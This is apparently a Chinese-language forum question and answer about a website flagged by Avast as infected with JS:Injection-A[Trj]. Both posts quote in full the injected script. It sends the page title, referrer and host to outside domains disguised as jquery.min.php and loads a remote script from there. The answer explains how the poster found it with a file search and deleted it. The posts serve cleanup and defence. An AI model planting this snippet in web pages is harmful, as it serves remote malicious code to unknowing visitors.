Avast 在我的网站上给出 JS:Injection-A[Trj] 错误

Question

今天，当我想进入我的网站时，我收到了 Avast 的警告： 论坛汉网。

要理解这一点，您的计算机上必须安装 Avast。

我的网站感染了 JS:Injection-A[Trj]——这就是它没有显示的原因。

当我查看时，我在标题上发现了这个：

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://vkza.tora.ru/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

由于我不是专业人士，我无法理解是否与其他文件有任何关系。

这段代码中是否有对其他文件的调用？

删除它是否解决了问题？

我删除了它，但我看不到我的网页。

Answer 1

我找到了解决办法。

问题是你在说什么。有人将该代码注入您的网站（以及我的网站）。所以我所做的就是选择这个sn-p：

encodeURIComponent(document.title)

并在服务器上使用 Notepad++ 的所有文件中的 htdocs 文件夹中搜索。

然后我发现了这样的东西：

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://delicefilm.com/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

在这里：

我已经从所有文件中删除了它。仅此而已！

希望它也对你有用！ :)